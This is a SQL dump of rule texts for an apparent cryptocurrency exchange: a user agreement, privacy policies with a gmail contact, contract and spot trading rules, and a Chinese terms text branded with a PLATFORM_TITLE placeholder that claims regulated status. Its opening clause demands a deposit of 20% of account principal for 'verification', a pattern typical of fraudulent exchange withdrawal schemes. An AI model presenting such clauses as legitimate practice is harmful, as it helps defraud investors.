3) Use the original crypto wallet to deposit a sum of money to the exchange in the amount of 20% of the total principal amount of your account. Please note that you must complete the deposit to the exchange using the initial crypto wallet or the verification will fail.



12.Calculation

All transaction calculations have been verified by us and all calculations have been made public on the website, but we cannot guarantee that the use of the website will be uninterrupted or error-free.


13.The rights and obligations agreed to in this Agreement also bind the assignees, heirs, executors and administrators of the parties who derive a benefit from such rights and obligations. You may not assign to any third party without our consent, but we may assign our rights and obligations under this Agreement to any third party at any time by giving you notice.


14.Divisibility

If any provision of this Agreement is held to be unenforceable, invalid or illegal by any court of competent jurisdiction, it shall not affect the validity of the remaining provisions of this Agreement.


15.Non-Agent Relationship

Nothing in this Agreement shall be deemed to create, imply, or otherwise treat us as your agent, fiduciary, or other representative, except as otherwise provided in this Agreement.


16.Waiver of rights

No waiver by us or by either of you of the right to pursue a breach of contract or other liability under this Agreement shall be deemed or construed as a waiver of any other breach; and the failure to exercise any right or remedy shall not in any way be construed as a waiver of such right or remedy.


17.Entry into force and interpretation of the agreement

19.1 This Agreement shall become effective when you click on the consent to register on the registration page of the Website and complete the registration process and obtain an account and password for the Website, and shall be binding on both the Website and you.

19.2 The final interpretation of this Agreement is the property of the Website.


Disclaimer


Risk Warning

1. Digital assets involve significant risks and market trading uncertainties. Also, due to the generally small total market capitalization of digital currencies, prices are susceptible to significant fluctuations due to dealer control and the policies of various governments around the world. As a result of price fluctuations, you may have large profits or losses. Any digital asset can fluctuate significantly and may even become worthless.

2. Digital asset trading may be suspended or prohibited at any time due to the enactment or modification of laws, regulations and regulatory documents in each country. Users should assess their own risks according to local laws, regulations and policy documents when using StarCoin services.

3. Users should carefully consider and evaluate the investment value and risk of digital assets according to their own financial situation, control the risk of trading, and bear the economic risk of losing all their investment.


Rights Attribution

All rights (including copyrights, trademarks, patents, trade secrets and other related rights) in all products, technologies, software, programs, data and other information (including text, icons, images, photos, audio, video, graphics, color combinations, layout designs, etc.) within the Platform are owned by the Platform Service Provider and/or its affiliates unless otherwise stated by the Platform. Without the permission of the platform service provider and/or its affiliates, no one is allowed to use any content in the platform in an unauthorized manner, including monitoring, copying, transmitting, displaying, mirroring, uploading, downloading, etc. through programs or devices such as robots, spiders, etc.

The text and logo of the Platform, as well as other logos, emblems, product and service names of the Platform are trademarks of the Platform Service Provider and/or its affiliates, and you must obtain prior written authorization from the Platform Service Provider and/or its affiliates for any use such as promotion or display.

', '0', '2023-08-08 16:08:18', 6, NULL); +INSERT INTO `t_option_rules` VALUES (100112, '注册隐私', 'zh', '

Introduction

Your privacy is important to us. We are committed to protecting the privacy, confidentiality, and security of the personal data we hold by complying with the requirements under applicable laws and regulations. We are equally committed to ensuring that all our employees, service providers, and agents uphold these obligations. This policy explains how we manage personal data within our organization.


We collect personal data about you in the following ways:

where you register for an account or to receive emails from us;

when you order products or services from us

when you submit a query or request to us

when you respond to a survey that we run or fill in forms on one of our websites

by tracking your use of our websites and mobile applications

from public sources

from the examination of public and private blockchains

from third parties who are entitled to disclose that information to us

when you apply for a job with us

In some cases, we may be required by law to collect certain types of personal data about you.

Where we collect personal data from you, we will do so ourselves. However, in some cases, we may collect personal data from a third party, such as through your representatives, contractors who provide services to us, or third parties who refer you to us because they think you may be interested in our products or services.


Types of personal data we collect

The types of personal data that we collect and hold about you may include:


identifying information, such as your name and date of birth, as well

ID documentation such as a passport or other government-issued photo identification and proof of address documentation such as a utility bill or bank statement

contact information, such as your postal address, email address and telephone number

social media handles and other social media profile information that you make available to us or to the public

public financial information, such as credit card, bank account or other payment details, which DO NOT give access to you funds

blockchain identifiers, such as blockchain addresses and public keys

emails and passwords that you create when registering for an account with us

details of any products or services that we provide to you

information about how you use the products and services we provide

records of our communications with you, including any messages you send us

Without this information, we may not be able to provide you with our products or services (or with all of the features and functionality offered by our products or services) or to respond to queries or requests that you submit to us.


Purposes for which we use personal data

We use personal data that we collect about you for the following purposes:


to verify your identity when you are dealing with us

to determine your eligibility for any of our products or services

to determine your compliance with the terms and conditions that apply to any of our products or services and applicable law

to enable us to provide our products and services

to improve our website based on your information and feedback

to answer your queries and requests

to comply with our legal and regulatory obligations

to carry out market analysis and research

to monitor use of our products and services

to assess, maintain, upgrade and improve our products and services

to carry out education and training programs for our staff

to manage and resolve any legal or commercial complaints or issues

to carry out planning and forecasting activities and other internal business processes

to keep you informed about our activities, including by sending out newsletters

Direct marketing

We may from time to time use your personal data to send you marketing materials about products or services that we think you may be interested in (including in some cases products and services that are provided by a third party). We may not use your data unless we have received your consent. You can opt-out of receiving marketing communications from us by contacting us at csr@tokpiedex.com.


We may use your following personal data for direct marketing:


identifying information, such as your name and date of birth

contact information, such as your postal address, email address and telephone number

products and services portfolio information and demographic data held by us from time to time

We may use your personal data to market the following products and services to you:


creating, purchasing and trading digital assets

software and hardware wallets for holding digital assets

other products or services related to digital assets

If we use your personal data in any direct marketing communications, you have the right to request that we provide you with the source of that personal data. There is no fee for requesting this information. We will provide you with the source of the personal data unless it is impracticable or unreasonable to do so.


Please indicate your consent to receiving information relating to the above by contacting us at csr@tokpiedex.com.


We may also use and disclose your information for other purposes under your requests or instructions.


People to whom we disclose personal data

We may share personal data about you with:


your representatives, advisers, and others you have authorized to interact with us on your behalf

our staff who need the information to discharge their duties

related entities within our corporate group

our business partners, agents and service providers

prospective purchasers of all or part of our business or shares in our company or a related entity

professional advisers who we engage to provide advice on our business

government authorities who request us to disclose that information only due to a related court decision, or to other people as required by law

In some cases, the people to whom we disclose your personal information may be located overseas. Further, we may have servers located overseas. The jurisdictions in which these people and servers are likely to be located include Hong Kong, Georgia, Estonia, Russia, the United States of America, and the United Kingdom. There may not be in place data protection laws, which are substantially similar to or serve the same purposes as the applicable data privacy laws in Hong Kong. This means your personal information may not be protected to the same or similar level in Hong Kong. We will never sell your personal data to any third party.


Cookies

We use cookies to monitor and observe your use of our websites, compile aggregate data about that use, and provide you with a more effective service (which may include customizing parts of our websites based on your preferences and past activities on those websites). “Cookies” are small text files created and stored on your hard drive by your internet browser software, to hold relevant information about the web page you are currently viewing. Most internet browsers have a facility that will allow you to disable cookies altogether – please refer to your browser’s help menu to find out how to do this. While you will still be able to browse our websites with cookies disabled on your internet browser, some website functionality may not be available or may not function correctly.


Storage and security of personal data

We store the personal data that we collect in electronic databases, some of which may be held on our behalf by third party data storage providers. Sometimes we also keep hard copy records of this personal data in physical storage facilities. We use a range of physical and technical security processes and procedures to protect the confidentiality and security of the information that we hold, and we update these from time to time to address new and emerging security threats that you become aware of.


We also take steps to monitor access to and modification of your information by our staff, and ensure that our staff is aware of and properly trained in their obligations for managing your privacy.


Google Analytics

Our website uses Google Analytics, a web analytics service provided by Google, Inc. (“Google”). Google Analytics uses cookies to help the website analyze how users use our website.


The information generated by the cookie about your use of our website (including your IP address) will be transmitted to and stored by Google on servers in the United States. Google will use this information for the purpose of evaluating your use of the website, compiling reports on website activity for website operators and providing other services relating to website activity and internet usage. Google may also transfer this information to third parties where required to do so by law, or where such third parties process the information on Google’s behalf. Google will not associate your IP address with any other data held by Google.


You may refuse the use of cookies by selecting the appropriate settings on your browser, however, please note that if you do this, you may not be able to use the full functionality of our website. By using our website, you consent to the processing of data about you by Google in the manner and for the purposes set out above.


Retention of personal data

Your personal data will not be kept longer than required.


We may retain your personal data for 5 years. At our discretion, we may retain personal data for longer than the said period if we consider it necessary or desirable to do so to meet our legal or regulatory obligations.


Access and correction

If you want to access any of the personal data that we hold about you or to correct some aspect of it (e.g., because you think it is incomplete or incorrect), please contact our privacy compliance team using the contact details set out below. To protect the integrity and security of the information we hold, we may ask that you follow a defined access procedure, which may include steps to verify your identity. In certain cases, we may charge you an administration fee for providing you with access to the information you have asked for, but we will inform you of this before proceeding. There may be cases where we are unable to provide the information you request, such as where it would interfere with the privacy of others or result in a breach of confidentiality. In these cases, we will let you know why we cannot comply with your request.


Even if you do not request access to and/or correct your personal data held by us, if we are satisfied that, having regard to the reasons for which we hold your personal data, that personal data is inaccurate, incomplete, out-of-date, irrelevant or misleading, we may take reasonable steps to correct that information.


Your Consent

By using our site, providing personal data and using any of our products or services, you agree that:


you consent to this privacy policy, as updated from time to time; and

if you have provided personal data to us relating to any other person, you:

have a right to provide that information;

have provided a copy of this privacy policy, as updated from time to time, to that person; and

each such person has agreed to those terms.

Complaints

We try to meet the highest standards to protect your privacy. However, if you are concerned about the way in which we are managing your personal data and think we may have breached any applicable privacy laws or any other relevant obligation, please contact our privacy compliance team using the contact details set out below. We will make a record of your complaint and refer it to our internal complaint resolution department for further investigation. We will deal with the matter as soon as we can, and keep you informed of the progress of our investigation.


If we have not responded to you within a reasonable time or if you feel that your complaint has not been resolved to your satisfaction, you are entitled to make a complaint to the Hong Kong Privacy Commissioner for Personal Data.


Changes to this policy

We may make changes to this policy from time to time, to take into account changes to our standard practices and procedures or where necessary to comply with new laws and regulations. The latest version of this policy will always be available on our website.


', '0', '2023-08-08 16:11:29', 5, NULL); +INSERT INTO `t_option_rules` VALUES (100116, '1', 'en', '

Welcome to visit our products. Sonecoin (including services provided by App and other products, hereinafter referred to as \"products and services\") is developed and operated by sube (hereinafter referred to as \"we\"). Ensuring user data security and privacy protection is our top priority. This Privacy Policy sets out the data collected and how it is processed when you access and use our products and services.


Please be sure to carefully read and confirm that you fully understand all the rules and points of this privacy policy before continuing to use our products. Once you choose to use it, you are deemed to agree to the entire content of this privacy policy and agree to our collection and use of your information. related information. If you have any questions about this policy during the reading process, you can contact our customer service for consultation. Please contact us through yopmfa@gmail.com or the feedback method in the product. If you do not agree to the relevant agreement or any of its terms, you should stop using our products and services.


This Privacy Policy helps you understand the following:


1. How we collect and use your personal information;


2. How we store and protect your personal information;


3. How we share, transfer and publicly disclose your personal information;


4. How do we use cookies and other tracking technologies;


5. How do we handle the personal information of minors;


1. How we collect and use your personal information


Personal information refers to various information recorded electronically or in other ways that can identify a specific natural person or reflect the activities of a specific natural person, either alone or in combination with other information. According to the \"Network Security Law of the People\'s Republic of China\" and \"Information Security Technology Personal Information Security Specifications\" (GB/T 35273-2017) and other relevant laws and regulations, and strictly follow the principles of legitimacy, legality and necessity, for your Collect and use your personal information in the process of using the services and/or products we provide, including but not limited to phone numbers, email addresses, preferences and interests, etc.


In order to receive our comprehensive product services, you should first register a user account, through which we will record relevant data. All the information you provide comes from the data you provide during registration and the data we obtain from third-party partners. The account name, password, and your own contact information you are going to use, we may verify whether your identity is valid by sending text messages or emails.


2. How we store and protect your personal information


As a general rule, we only retain your personal information for as long as necessary to fulfill the purposes for which it was collected. We retain your personal information for as long as is strictly necessary to manage our relationship with you (for example, when you open an account, obtain services from our products). We may need to retain your personal information on file beyond the expiration of the above periods to comply with a legal obligation or to demonstrate that a right or contract satisfies applicable statute of limitations requirements and cannot be deleted at your request. We ensure that your personal data is completely deleted or anonymized when it is no longer necessary for the purposes or archives corresponding to our statutory obligations or statutory statute of limitations. If you confirm that you will no longer use our products and services, and actively cancel your account as required, all information will be completely deleted.


We use industry-standard security measures to protect the personal information you provide, and encrypt key data in it to prevent unauthorized access, public disclosure, use, modification, damage or loss. We will take all reasonable and feasible measures to protect your personal information. We will use encryption technology to ensure the confidentiality of data; we will use trusted protection mechanisms to prevent data from malicious attacks.


It is worth mentioning that in order to strengthen the protection of private data, we have desensitized it when collecting it, and even in our own database, we will not store associated private data in clear text.


3. How do we share, transfer and publicly disclose your personal information


When it is necessary to manage our daily business activities, we will use your personal information in a compliant and appropriate manner in order to pursue legitimate interests and better serve customers. Out of comprehensive consideration of business and various aspects, we will share this data with third-party partners, and this data will also comply with their privacy policies and will not be disposed of arbitrarily.


We may share your personal information externally in accordance with laws and regulations, or in accordance with the mandatory requirements of government authorities. Under the premise of complying with laws and regulations, when we receive the above request for information disclosure, we will require to issue corresponding legal documents, such as subpoenas or investigation letters. We firmly believe that we should be as transparent as the law allows about the information we are asked to provide.


In the following situations, sharing, transferring, and publicly disclosing your personal information does not require your prior authorization and consent:


1. Directly related to national security and national defense security;


2. Directly related to criminal investigation, prosecution, trial and execution of judgments;


3. For the protection of your or other personal life, property and other major legitimate rights and interests, but it is difficult to obtain the consent of the person;


4. Personal information that you disclose to the public by yourself;


5. Collecting personal information from legally disclosed information, such as legal news reports, government information disclosure and other channels.


6. It is necessary to sign and perform a contract according to the requirements of the personal information subject;


7. It is necessary to maintain the safe and stable operation of the products or services provided, such as discovering and handling product or service failures;


8. Other circumstances stipulated by laws and regulations.


4. How do we use cookies and other tracking technologies


In order to ensure the normal operation of the product, we will store a small data file called a cookie on your computer or mobile device. Cookies usually contain identifiers, product names and some numbers and characters. With the help of cookies, we can store data such as your preferences or products, and use them to determine whether registered users have logged in, improve service and product quality, and optimize user experience.


We use various cookies for different purposes, including: strictly necessary cookies, performance cookies, marketing cookies and functional cookies. Certain cookies may be served by external third parties to provide additional functionality to our products. We will not use cookies for any purpose other than those stated in this policy. You can manage or delete cookies according to your own preferences. You can clear all cookies saved on your computer or mobile phone, and most web browsers have the function of blocking or disabling cookies, and you can configure the browser. After blocking or disabling the cookie function, your use of our products and services may be affected or cannot be fully used.


V. How do we handle personal information of minors


Our products, websites and services are primarily intended for adults. Children may not create their own user accounts without the consent of a parent or guardian. For the collection of children\'s personal information with parental consent, we will only use or publicly disclose this information when permitted by law, with the explicit consent of parents or guardians, or when it is necessary to protect children.


If we discover that we have collected personal information from children without prior verifiable parental consent, we will try to delete the data as soon as possible. If you are the guardian of a minor, please contact us in time when you have any questions about the minor under your guardianship\'s use of our services or the user information provided to us. We will protect the confidentiality and security of minor user information in accordance with relevant national laws and regulations and this policy.

', '0', '2023-08-11 16:40:06', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100117, 'U本位规则', 'zh', '

合约类型: U本位合约可以基于不同的加密货币,如BTC/USDT、ETH/USDT等。这些合约允许您以USDT来计价和交易这些加密货币的价格变动。


交易单位: 合约的交易单位通常以基础加密货币(如比特币、以太坊)为基准,例如,1个BTC/USDT合约可能等同于0.001 BTC。这取决于交易所和合约的具体设置。


合约大小: 合约大小指的是每个合约的价值,以USDT计价。它会随着基础加密货币的价格而变化。例如,BTC/USDT合约的大小可能是100 USDT,当比特币价格上涨或下跌时,合约大小会相应变化。


保证金和杠杆: 交易者需要提供一定数量的USDT作为保证金,以便在合约交易中承担亏损。不同的交易所和平台提供不同的杠杆倍数,允许交易者使用少量的保证金控制更大的头寸。


交易费用: 交易U本位合约通常会产生交易费用,这些费用可能包括开仓费、平仓费、过夜持仓费等,具体取决于交易所的政策。


结算和盈亏: 合约的盈亏计算以及每日的结算通常以USDT为单位。当您平仓或者每日结算时,盈利或亏损会计算并反映在您的USDT余额中。


合约到期: 有些合约可能有到期时间,到期时合约将被结算,持仓会被平仓。到期前,您可以选择续约或平仓。


请注意,具体的规则和设置可能因交易所而异,因此在交易之前,您应该仔细阅读交易所的U本位合约规则和用户协议,以确保您充分了解合约的特性、费用、风险以及交易所的政策。

', '0', '2023-08-16 15:59:25', 4, NULL); +INSERT INTO `t_option_rules` VALUES (100118, '币币交易规则', 'zh', '

币币交易是指一种数字资产对另外一种数字资产的交易,以ETH/USDT币对为例,ETH就是“交易货币”,USDT则是“计价货币”,可以理解为用USDT买ETH。


一、资金划转


在进行币币交易之前,需要先进行资金划转,把数字资产USDT划转到现货账户里。


二、买入,卖出


以DOGE为例:打开APP,进入【交易】页面 — 点击左上角币对框【DOGE/USDT】;在新页面下点击切换交易模式-币币交易 。

选择【买入】&【卖出】—【限价委托】— 输入【价格】、【数量】—点击【买入DOGE】


注:当市场价格达到用户预期,系统会以事前设置的委托价格送入市场中撮合成交。




', '0', '2023-08-16 16:00:28', 2, NULL); +INSERT INTO `t_option_rules` VALUES (100119, '服务条款', 'zh', '

PLATFORM_TITLE 用户协议


本协议(“协议”)适用于居住在美国、英国、欧洲经济区、日本和新加坡以外的客户。


在查看这些术语时,您会看到一些文本是绿色的。这些条款仅适用于 CB Payments, Ltd 向您提供的受监管服务,不适用于 PLATFORM_TITLE Kenya Limited 向您提供的服务。


CB Payments, Ltd(也以 PLATFORM_TITLE 名义交易)受英国金融行为监管局监管。


这是您与以下各方之间的合同:CB Payments, Ltd(“PLATFORM_TITLE Payments”)是一家在英格兰和威尔士注册成立的私人有限公司,公司编号为 09708629,注册办公地址为 5 Fleet Place, London EC4M 7RD, United Kingdom;和PLATFORM_TITLE Ascending Markets Kenya Limited(“PLATFORM_TITLEKenya”)是一家在肯尼亚注册成立的私人有限公司(公司编号 PVT-27U5Y39Y),注册办公地址为 P.O.邮政信箱 10643号信箱肯尼亚内罗毕。本协议中对“PLATFORM_TITLE”、“我们”、“我们的”或“我们”的引用是指 PLATFORM_TITLE Payments 和/或 PLATFORM_TITLE Kenya,具体取决于所讨论的服务,而对“您”或“您的”的引用是指PLATFORM_TITLE 与之签订本协议的人。通过 PLATFORM_TITLE.com 或 pro.PLATFORM_TITLE.com 或我们的任何关联网站、应用程序编程接口(“API”)或移动应用程序(统称“网站”)注册使用帐户,即表示您同意阅读、理解并接受本协议中包含的所有条款和条件,以及我们的隐私政策和 Cookie 政策。我们将电子货币服务、数字货币服务和附加服务(定义见下文)统称为“PLATFORM_TITLE 服务”,可通过 PLATFORM_TITLE 运营的平台(“PLATFORM_TITLE 平台”)(包括在线平台)访问可通过网站或 PLATFORM_TITLE 不时规定的位置访问)。只有在 PLATFORM_TITLE <br>Payments 自行决定提供电子货币服务时,才会自动提供对电子货币服务的访问。


如下文第 2 条所述,每项 PLATFORM_TITLE 服务均由 PLATFORM_TITLE Payments 或 PLATFORM_TITLE Kenya 提供。*您应该知道,交易或持有数字货币的损失风险可能很大。与任何资产一样,数字货币的价值可能会上升或下降,并且可能存在您在购买、出售、持有或投资数字货币时亏损的巨大风险。数字货币服务和附加服务目前不受金融行为监管局、肯尼亚中央银行或英国或肯尼亚任何其他监管机构的监管。数字货币服务和附加服务不在英国金融监察员服务的管辖范围内,您的数字货币和电子货币不受英国金融服务补偿计划的保护。根据肯尼亚中央银行 2015 年第 14 号通知,数字货币在肯尼亚不是法定货币,因此如果 PLATFORM_TITLE 面临财务困难,您无法获得任何保护。您应该根据您的财务状况仔细考虑交易或持有数字货币是否适合您。*


1. 资格。


要获得使用任何 PLATFORM_TITLE 服务的资格,您必须年满 18 岁并且居住在可以访问相关 PLATFORM_TITLE 服务的国家/地区。请注意,并非所有 PLATFORM_TITLE 服务在每个国家都可用。按国家/地区可访问的 PLATFORM_TITLE 服务列表可在 https://www.PLATFORM_TITLE.com/global 找到。


2. 服务。


2.1 电子货币服务。


PLATFORM_TITLE Payments 可能会向您提供以下服务(“电子货币服务”):(A) 托管数字钱包(“电子货币钱包”),使您能够存储由 CB Payments 发行的以法定货币(“电子货币”)计价的电子货币;和


(B) 使您能够发送和接收电子货币的某些支付服务(如下所述)。


电子货币服务受英国金融行为监管局 (“FCA”) 监管。PLATFORM_TITLE Payments 是一家由 FCA 授权和监管的授权电子货币机构,注册号为 900635。对电子货币服务的访问不是自动的,只有在 PLATFORM_TITLE Payments 自行决定提供这些服务时才提供。


2.2 数字货币服务。


PLATFORM_TITLE Kenya 可能向您提供以下服务(“数字货币服务”):


(A) 一个或多个托管数字货币钱包(“数字货币钱包”),使您能够存储、跟踪、转移和管理某些受支持的数字货币(如比特币或以太坊)的余额(统称为“数字货币”或“数字货币” ”);


(B) 一种数字货币兑换服务,使您能够获得购买和销售数字货币的价格,并且(受某些限制)执行网站上的任何此类购<br>买或销售(“数字货币兑换服务”)。与电子货币服务不同,数字货币服务不受监管。 PLATFORM_TITLE Kenya 不是受监管的金融服务提供商。 PLATFORM_TITLE Kenya 位于肯尼亚,并在肯尼亚提供服务。重要提示:PLATFORM_TITLE Kenya 不是受监管的金融服务提供商,未在肯尼亚中央银行、资本市场管理局或肯尼亚任何其他金融服务监管机构注册、监管或授权,因此您将无法利用与此类受监管实体相关的监管保护,例如投资者或存款保护计划。


2.3 其他 PLATFORM_TITLE 服务


除了核心服务(即电子货币服务和数字货币服务)之外,PLATFORM_TITLE Kenya(或 PLATFORM_TITLE 集团的其他成员,定义见第2.6 节)可能会提供以下服务(“附加服务”)下面)给满足某些资格标准的用户:


(A) 数字货币订单簿交换平台(详见附录 4)(“PLATFORM_TITLE Pro”);


(B) PLATFORM_TITLE 提供的开发应用程序(详见附录 5)(“开发者工具”);


(C) 质押服务(详见附录 6)(“质押服务”)。


2.4 若干责任。您同意 PLATFORM_TITLE Payments 和 PLATFORM_TITLE Kenya 在本协议项下的责任是单独的而不是连带的,并且 PLATFORM_TITLE Payments 和 PLATFORM_TITLE Kenya 各自仅对各自在本协议项下的义务以及他们对这些义务的任何违反承担责任义务。这意味着他们每个人都对您自己违反本协议的行为负责,而不是对彼此的违反行为负责。


2.5 费用。您同意负责支付并支付所有费用。 PLATFORM_TITLE 服务的完整费用清单(不时修订)可在网站的“定价和费用披露”和“交易费用”页面上找到,这些页面应构成本协议的一部分。


2.6 PLATFORM_TITLE 集团。在本协议中,“PLATFORM_TITLE 集团”是指 PLATFORM_TITLE Kenya 及其附属公司,包括提供数字货币存储和钱包服务的特拉华州公司 PLATFORM_TITLE, Inc.。此定义不包括仅提供电子货币服务的所有公司附属机构,包括但不限于 PLATFORM_TITLE Payments。


2.7 支付服务合作伙伴。 PLATFORM_TITLE 可能会使用第三方支付处理器或收款代理来处理您与 PLATFORM_TITLE 之间以相关国家/地区的相关中央银行发行的货币计价的任何付款,包括但不限于与相关的付款禁止您使用电子货币钱包或 PLATFORM_TITLE 账户中的数字货币交易或存款或取款。


3. 帐户设置。


3.1 PLATFORM_TITLE 账户注册。要使用 PLATFORM_TITLE 服务,您需要通过提供您的详细信息(包括您的姓名、电子邮件地址和密码)并接受本协议的条款来注册一个 PLATFORM_TITLE 帐户(“PLATFORM_TITLE 帐户”)。使用 PLATFORM_TITLE 帐户,即表示您同意并声明您将仅为自己使用 PLATFORM_TITLE 服务,而不代表任何第三方,除非您已根据本协议第 3.2 和 4.10 节事先获得 PLATFORM_TITLE 的批准。每个客户只能注册一个 PLATFORM_TITLE 帐户。您对在您的 PLATFORM_TITLE 账户下发生的所有活动负全部责任。我们可以自行决定拒绝为您开立 PLATFORM_TITLE 账户,或暂停或终止任何 PLATFORM_TITLE 账户(包括但不限于重复账户)或暂停或终止您账户中特定数字货币的交易。


3.2 第三方访问。如果在第 4.10 条允许的范围内,您明确允许受监管的第三方通过受监管的第三方的产品或服务或通过网站访问或连接到您的 PLATFORM_TITLE 账户,您承认授予许可受监管的第三方代表您采取特定行动并不免除您在本协议项下的任何责任。您对访问您的 PLATFORM_TITLE 账户的任何受监管第三方的所有作为或不作为负全部责任,并且该受监管第三方的任何行为均应被视为您授权的行为。此外,您承认并同意,您不会要求 PLATFORM_TITLE 对因访问您的 PLATFORM_TITLE 账户的任何受监管第三方的任何作为或不作为而产生或与之相关的任何责任承担责任,并将赔偿 PLATFORM_TITLE。您可以随时通过网站“设置”页面上的选项卡更改或删除您授予受监管第三方关于您的 PLATFORM_TITLE 帐户的权限。


3.3 身份验证。您同意向我们提供我们要求的信息(我们可以y 在任何认为必要的时候要求)用于身份验证和侦查洗钱、恐怖主义融资、欺诈或任何其他金融犯罪,包括附录 2(验证程序和限制)中规定的,并允许我们保留此类信息的记录。您需要先完成某些验证程序,然后才能开始使用 PLATFORM_TITLE 服务并访问特定的 PLATFORM_TITLE 服务,包括某些电子货币和数字货币的转移,并且适用于您使用 PLATFORM_TITLE 服务的限制可能是由于持续收集的信息而改变。我们要求的信息可能包括(但不限于)个人信息,例如您的姓名、居住地址、电话号码、电子邮件地址、出生日期、纳税人识别号、政府识别号、有关您的银行帐户的信息(例如银行名称、账户类型、路由号码和帐号)网络状态、客户类型、客户角色、计费类型、移动设备标识符(例如国际移动用户身份和国际移动设备身份)和其他用户状态详细信息,以及根据适用法律要求 PLATFORM_TITLE 不时收集的任何此类信息。您可能还需要进行“强化尽职调查”(见下文第 6.2 节),其中 PLATFORM_TITLE 可能会要求您提交有关您自己或您的业务的其他信息、提供相关记录并安排与 PLATFORM_TITLE 员工的会议,以便 PLATFORM_TITLE 可以:除其他外,确定您在使用 PLATFORM_TITLE 服务过程中进行的任何交易的财富来源和资金来源。在向我们提供此信息或可能需要的任何其他信息时,您确认该信息是真实、准确和完整的,并且您没有隐瞒任何可能影响 PLATFORM_TITLE 为您注册 PLATFORM_TITLE 帐户而对您的评估的信息或向您提供 PLATFORM_TITLE 服务。您承诺及时以书面形式通知并向 PLATFORM_TITLE 提供有关可能导致所提供的任何此类信息变得虚假、不准确或不完整的任何情况变化的信息,并承诺提供 PLATFORM_TITLE 可能要求的任何其他额外文件、记录和信息和/或适用法律。您允许我们保留此类信息的记录。我们将根据第 11 条(数据保护)处理这些信息。您授权我们直接或通过第三方进行我们认为必要的查询,以验证您的身份或保护您和/或我们免受欺诈或其他金融犯罪,并根据此类结果采取我们合理认为必要的行动查询。当我们进行这些查询时,您承认并同意您的个人信息可能会被披露给信用参考和欺诈预防或金融犯罪机构,并且这些机构可能会全面回应我们的查询。这只是身份检查,不会对您的信用评级产生不利影响。此外,我们可能会要求您在交易完成后等待一段时间,然后才能允许您使用更多的 PLATFORM_TITLE 服务和/或允许您进行超出特定交易量限制的交易。


4. 电子货币服务


4.1 加载。您可以使用银行转账(或网站上适用于您所在位置的其他付款方式)将资金存入您的 E-Money 钱包,一旦我们收到资金,您的 E-Money 钱包将显示已加载的资金。资金的加载可以手动完成,也可以作为您在 PLATFORM_TITLE 账户上设置的定期交易的一部分(有关更多详细信息,请参见下文第 5.12 节)。您只能从您自己的账户中加载您自己的资金,而不能从任何联合、集合或第三方账户中加载。当资金被加载到 E-Money 钱包中时,PLATFORM_TITLE Payments 将向您发放 E-Money,代表您已加载的资金。电子货币钱包不是存款或投资账户,这意味着您的电子货币将不受金融服务补偿计划的保护。 PLATFORM_TITLE Payments 只会将来自用户的资金存放在受监管金融机构的指定保管账户中。电子货币钱包中的电子货币不会赚取任何利息。您的电子货币钱包可能持有以不同货币计价的电子货币,我们将显示您持有的每种货币的电子货币余额。


4.2 购买或出售数字货币。您可以使用记入您的电子货币钱包的电子货币购买支持的数字货币。要使用电子货币进行数字货币交易,您必须遵循网站上的相关说明。使用电子货币的数字货币交易通常应在我们收到您的指示后的一个工作日内结算。你授权我们从您的电子货币钱包中扣除电子货币。尽管我们将尝试尽快向您交付数字货币,但在将数字货币交付到您的数字货币钱包之前,电子货币可能会从您的电子货币钱包中扣除。您可以出售数字货币以换取电子货币。您授权我们从您的数字货币钱包中借记,并在您的电子货币钱包中记入相关金额的电子货币。


4.3 收到指令。如果我们在非工作日或工作日下午 4:30(伦敦时间)之后收到您使用 E-Money 购买数字货币的指示,我们可能会将这些指示视为我们在以下时间收到的指示营业日。


4.4 撤销。当您向我们指示使用电子货币进行数字货币交易时,您不能撤回对该数字货币交易的同意,除非数字货币交易要到未来的约定日期才会发生,例如如果您已设置未来交易(有关详细信息,请参阅下文第 5.12 节)。在未来交易的情况下,您可以在未来交易到期日的前一个工作日结束之前撤回您的同意。要撤回您对未来交易的同意,请按照网站上的说明进行操作。


4.5 不成功的付款。如果将资金存入您的电子货币钱包的付款不成功,您授权 PLATFORM_TITLE 自行决定取消任何相关的数字货币交易或从您的其他付款方式(包括 PLATFORM_TITLE 余额或其他关联账户)中扣除完成相关数字货币交易所需的任何金额。您有责任保持足够的余额和/或足够的信用额度,以避免透支或支付提供商收取的类似费用。


4.6 账户信息。您将能够使用本网站查看您的电子货币钱包余额和交易历史记录,包括 (i) 每次数字货币购买的金额(和货币),(ii) 识别付款人和/或收款人的参考(视情况而定),(iii) 收取的任何费用(包括费用明细),(iv) 进行货币兑换的情况、兑换率以及兑换后的金额(以新货币计)(您所在的地方)付款人)或兑换前的金额(以原始货币计)(您是收款人),以及 (v) 每笔数字货币购买的借记或贷记日期(视情况而定)。


4.7 兑换电子货币。您可以随时通过选择网站中的相关选项并按照说明赎回您的电子货币钱包中的全部或部分电子货币。除非另有约定,否则资金将转入您在我们注册的银行账户。如果本协议终止,我们将赎回您 E-Money 钱包中剩余的任何 E-Money,并尝试将资金转入您在我们注册的银行账户。在从您的电子货币钱包中兑换电子货币之前,我们可能会根据适用法律的要求进行检查,以防止欺诈、洗钱、恐怖主义融资和其他金融犯罪。这可能意味着您将被阻止或延迟提取 E-Money,直到这些检查以我们合理的满意程度完成以符合我们的监管要求。


4.8 未经授权和不正确的交易。如果使用您的凭证从您的电子货币钱包开始购买数字货币和/或赎回电子货币,除非您另行通知我们,否则我们将假定您授权了此类交易。如果您认为使用您的电子货币钱包进行了未经您授权的交易(“未经授权的交易”),或者如果您有理由相信使用您的电子货币钱包的交易被错误地执行或不完整(“错误交易”),您必须尽快联系我们,无论如何不得迟于发生未经授权的交易或错误交易后的 13 个月。请务必定期检查您的电子货币钱包余额和交易历史记录,以确保识别任何未经授权的交易或不正确的交易并尽早通知我们。我们不对未经授权的交易或错误交易的任何索赔负责,除非您已根据本第 4.8 条通知我们,在这种情况下,下文第 4.9条规定了我们各自的责任。如下文第 4.9 节进一步所述,如果您以欺诈、故意或重大过失行为而导致未经授权的交易或不正确的交易,我们不对未经授权的交易或不正确的交易提出的任何索赔负责在对任何实际或潜在的未经授权的交易或不正确的交易进行任何调查期间,我们保留暂停您的 PLATFORM_TITLE 帐户以避免进一步的损失。


4.9 退款权利。


(A) 未经授权的交易 - 电子货币钱包。


